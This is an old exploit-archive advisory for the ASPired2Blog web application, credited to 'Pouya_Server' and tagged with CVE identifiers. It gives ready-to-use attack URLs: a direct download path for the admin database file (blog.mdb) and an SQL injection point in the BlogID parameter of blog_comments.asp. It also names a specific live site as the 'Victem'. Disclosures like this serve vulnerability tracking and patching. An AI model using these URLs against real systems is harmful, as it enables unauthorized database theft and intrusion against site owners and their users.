the net guys aspired2blog - SQL Injection / File Disclosure

Author: Pouya_Server
type: webapps
platform: asp
port: 
date_added: 2008-12-11 
date_updated:  
verified: 1 
codes: OSVDB-51519;CVE-2008-5931;OSVDB-51518;CVE-2008-5930 
tags: 
aliases:  
screenshot_url:  
application_url:

#########################################################
---------------------------------------------------------
Portal Name: ASPIred2Blog
Vendor : http://thenetguys.us/Home/Blog.asp
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Vulnerability : (SQL,DD)
---------------------------------------------------------
#########################################################
[DD]:
http://site.com/[Path]/admin/blog.mdb

[SQL]:
http://site.com/[Path]/admin/blog_comments.asp?BlogID='[SQL]

---------------------------------
Victem :
http://thenetguys.us/ASPired2/Blog/index.asp

# milw0rm.com [2008-12-12]